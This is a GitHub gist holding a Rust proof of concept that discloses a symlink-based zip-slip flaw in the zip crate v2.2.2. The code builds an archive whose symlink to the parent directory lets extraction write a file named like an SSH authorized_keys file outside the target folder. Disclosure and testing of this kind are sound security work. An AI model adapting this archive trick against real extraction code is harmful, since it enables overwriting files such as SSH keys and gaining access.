-
-
Save eternal-flame-AD/bf71ef4f6828e741eb12ce7fd47b7b85 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //! Zip-slip in `crates.io/zip@v2.2.2` | |
| //! | |
| //! CWE-61: UNIX Symbolic Link (Symlink) following. | |
| //! | |
| //! This is a variant of the zip-slip vulnerability (CVE-2018-1000170), we can make the extraction logic step outside of the target directory | |
| //! by creating a symlink to the parent directory and then extracting further files through that symlink. | |
| //! | |
| //! The documentation of the [`::zip::read::ZipArchive::extract`] method is in my opinion implying this should not happen: | |
| //! | |
| //! > "Paths are sanitized with ZipFile::enclosed_name." ... | |
| //! > [ [`::zip::read::FileOptions::enclosed_name`] ] ... is resistant to path-based exploits ... can’t resolve to a path outside the current directory. | |
| //! | |
| //! This file is a proof of concept. | |
| use std::{ | |
| fs::File, | |
| hash::{BuildHasher, RandomState}, | |
| io::Write, | |
| os::unix::fs::PermissionsExt, | |
| time::Instant, | |
| }; | |
| use zip::{write::FileOptions, ZipArchive, ZipWriter}; | |
| fn create_payload(seed: impl AsRef<[u8]>) { | |
| let mut zip = ZipWriter::new(File::create("test.zip").unwrap()); | |
| zip.add_symlink::<_, _, ()>("parent", "../", FileOptions::default()) | |
| .unwrap(); | |
| let ruu = FileOptions::default().unix_permissions(0o600); | |
| zip.start_file::<_, ()>("parent/not_really_ssh/authorized_keys", ruu) | |
| .unwrap(); | |
| zip.write_all(seed.as_ref()).unwrap(); | |
| zip.finish().unwrap(); | |
| } | |
| fn main() { | |
| std::fs::remove_dir_all("work").ok(); | |
| let seed = RandomState::new().hash_one(Instant::now()); | |
| eprintln!("[+] Seed: {}", seed); | |
| create_payload(&seed.to_be_bytes()); | |
| eprintln!("[+] Extracting to work/extract hoping for the best..."); | |
| ZipArchive::new(File::open("test.zip").unwrap()) | |
| .expect("failed to open zip") | |
| .extract("work/extract") | |
| .unwrap(); | |
| match std::fs::read("work/not_really_ssh/authorized_keys") { | |
| Ok(result) => { | |
| if result == seed.to_be_bytes() { | |
| eprintln!("[+] Success, work/not_really_ssh/authorized_keys is overwritten!"); | |
| let read_permissions = std::fs::metadata("work/not_really_ssh/authorized_keys") | |
| .unwrap() | |
| .permissions(); | |
| if read_permissions.mode() & 0o777 == 0o600 { | |
| eprintln!("[+] Successfully set permissions to 0o600"); | |
| } else { | |
| eprintln!( | |
| "[-] File content is correct but permissions are not set to 0o600 but {:o}", | |
| read_permissions.mode() | |
| ); | |
| } | |
| } else { | |
| eprintln!("[-] File exists but is not overwritten"); | |
| } | |
| } | |
| Err(e) => { | |
| eprintln!("[-] Error: {}", e); | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment